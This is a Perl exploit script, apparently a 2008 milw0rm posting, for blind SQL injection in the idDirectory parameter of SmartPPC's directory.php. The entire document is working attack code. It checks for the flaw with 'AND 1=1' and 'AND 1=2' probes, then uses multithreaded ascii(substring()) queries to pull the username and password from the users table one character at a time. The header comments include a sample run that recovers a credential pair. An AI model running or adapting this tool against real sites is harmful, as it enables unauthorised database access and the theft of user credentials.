SmartPPC Pay Per Click Script - 'idDirectory' Blind SQL Injection (2)

#!/usr/bin/perl -W

# SmartPPC Pay Per Click Script Blind SQL Injection Exploit
# File affected: directory.php ($idDirectory)
#
# Vulnerability: Hamtaro
# Exploit: ka0x <ka0x01[at]gmail.com>
#
#
# ka0x@domlabs:~$ ./smartppc.pl -u "http://localhost/directory.php?username=&idDirectory=2" -p Top
# [i] Getting default: -T 30
# [i] Getting default: -l 200
# [i] Getting default: -t 15
# 18 118 v
# [!] $EXIT_IF_NO_CHAR : I can't find a valid character, position 18.
# [i] USER / PASSWORD:
# ka0x / test12345_
#

# special thanks: NullWave07, an0de, Piker, Xarnuz


my $MAX_FIELD_LENGTH = 200 ;
my $EXIT_IF_NO_CHAR = 1 ;
my $DEFAULT_THREADS = 15 ;
my $DEFAULT_THREADS_TIMEOUT = 30 ;
my @ascii = ( 32 .. 123 ) ;
my $DEFAULT_THREADS_TIME = 1 ;


use LWP::UserAgent ;

sub _HELP_AND_EXIT
{
    die "

  ./$0 -u <url> -p <pattern>

 Options:
  -u    <url>               Ex: http://localhost/directory.php?username=&idDirectory=58
  -p    <pattern>           HTML pattern.

 Other:
  -t    <#>                 Threads, default '$DEFAULT_THREADS'.
  -l    <#>                 Maximum table name length '$MAX_FIELD_LENGTH'.
  -T    <#>                 Timeout.
  -h                        Help (also with --help).

  Example:

  ./$0 -u \"http://localhost/directory.php?username=&idDirectory=2\" -p Top

" ;
}


    my ($p, $w) = ({ @ARGV }, { }) ;

    map {
        &_HELP_AND_EXIT if $_ eq '--help' or $_ eq '-h' ;
    } keys %$p ;

    map {
        die "[!] Require: $_\n[!] Help: ./$0 --help\n" unless $p->{ $_ } ;
    } qw/-u -p/ ;

    $p->{'-t'} = ( $p->{'-t'} and $p->{'-t'} =~ /^\d+$/ ) ? $p->{'-t'} : ( $w->{'-t'} = $DEFAULT_THREADS ) ;
    $p->{'-l'} = ( $p->{'-l'} and $p->{'-l'} =~ /^\d+$/ ) ? $p->{'-l'} : ( $w->{'-l'} = $MAX_FIELD_LENGTH ) ;
    $p->{'-T'} = ( $p->{'-T'} and $p->{'-T'} =~ /^\d+$/ ) ? $p->{'-T'} : ( $w->{'-T'} = $DEFAULT_THREADS_TIMEOUT ) ;

    map {
        warn "[i] Getting default: $_ $w->{ $_ }\n" ;
    } sort keys %$w ;

    ( &_IS_VULN( $p ) ) ? &_START_WORK( $p ) : die "[i] Bad pattern ? Isn't vulnerable ?\n" ;




sub _START_WORK
{
    my $p = shift ;

    my $position = 1 ;

    pipe(R, W) ;
    pipe(Rs, Ws) ;
    autoflush STDOUT 1 ;

    my $sql_message = '' ;
    my $msg = '' ;
    my @pid ;

    while( $position <= $p->{'-l'} )
    {
        my $cf ;
        unless( $cf = fork ){ &_CHECKING( $p, $position ) ; exit(0) ; }
        push(@pid, $cf) ;

        my $count = 0 ;
        my $can_exit ;
        my $char_printed ;

        while(<R>)
        {
            chomp ;
            push(@pid, (split(/:/))[1] ) if /^pid/ ;

            my ($res, $pos, $ascii) = ( split(/ /, $_) ) ;
            $count++ if $pos == $position ;

            print "\b" x length($msg), ($msg = "$position $ascii " . chr($ascii) ) ;

            if( $res eq 'yes' and $pos == $position ){
                    $char_printed = $can_exit = 1 ;
                    print Ws "STOP $position\n" ;
                    $sql_message .= chr( $ascii ) ;
            }

            last if ( $can_exit or $count == @ascii );
        }

        map { waitpid($_, 0) } @pid ;

        unless( $char_printed )
        {
            if( $EXIT_IF_NO_CHAR )
            {
                warn "\n[!] \$EXIT_IF_NO_CHAR : I can't find a valid character, position $position.\n"  ;
                last ;
            }
        }

        $position++ ;
    }

    print "[i] USER / PASSWORD:\n$sql_message\n" ;

}

sub _CHECKING
{
    my ($p, $position) = @_ ;
    my $counter = 0 ;
    my $stop_position ;

    foreach my $ascii ( @ascii )
    {
        $counter++ ;

        if( $counter % $p->{'-t'} == 0 )
        {
            my $stop_position ;
            eval
            {
                $SIG{'ALRM'} = sub { die "non_stop\n" } ;
                alarm $DEFAULT_THREADS_TIME ;
                my $line = <Rs> ;
                $stop_position = (split( / /, $line))[1] ;
                alarm 0 ;
            } ;

            if( ($stop_position) and $stop_position == $position ){ print "\nnext position\n" ; exit(0) ; }
        }

        unless(my $pid = fork )
        {
            print Ws "pid:$pid\n" or die ;


            my $url = $p->{'-u'} .
                ' AND ascii(substring((SELECT CONCAT(username,0x202f20,pass) FROM users LIMIT 0,1),' . $position . ',1))='. $ascii ;

            my $ua = LWP::UserAgent->new ;
            $ua->timeout( $p->{'-T'} ) ;

            my $content ;
            while( 1 )
            {
                last if $content = $ua->get( $url )->content ;
            }

            ( $content =~ /$p->{'-p'}/ ) ? print W "yes $position $ascii\n" : print W "no $position $ascii\n" ;

            exit( 0 ) ;
        }

    }
}



sub _IS_VULN
{
    my $p = shift ;

    my $ua = LWP::UserAgent->new ;
    $ua->timeout( $p->{'-T'} ) ;

    my ( $one, $two ) = (
        $ua->get( $p->{'-u'}." AND 1=1")->content ,
        $ua->get( $p->{'-u'}." AND 1=2")->content ,
    ) ;

    return ($one =~ /$p->{'-p'}/ and $two !~ /$p->{'-p'}/) ? 1 : undef ;
}

__END__

# milw0rm.com [2008-07-07]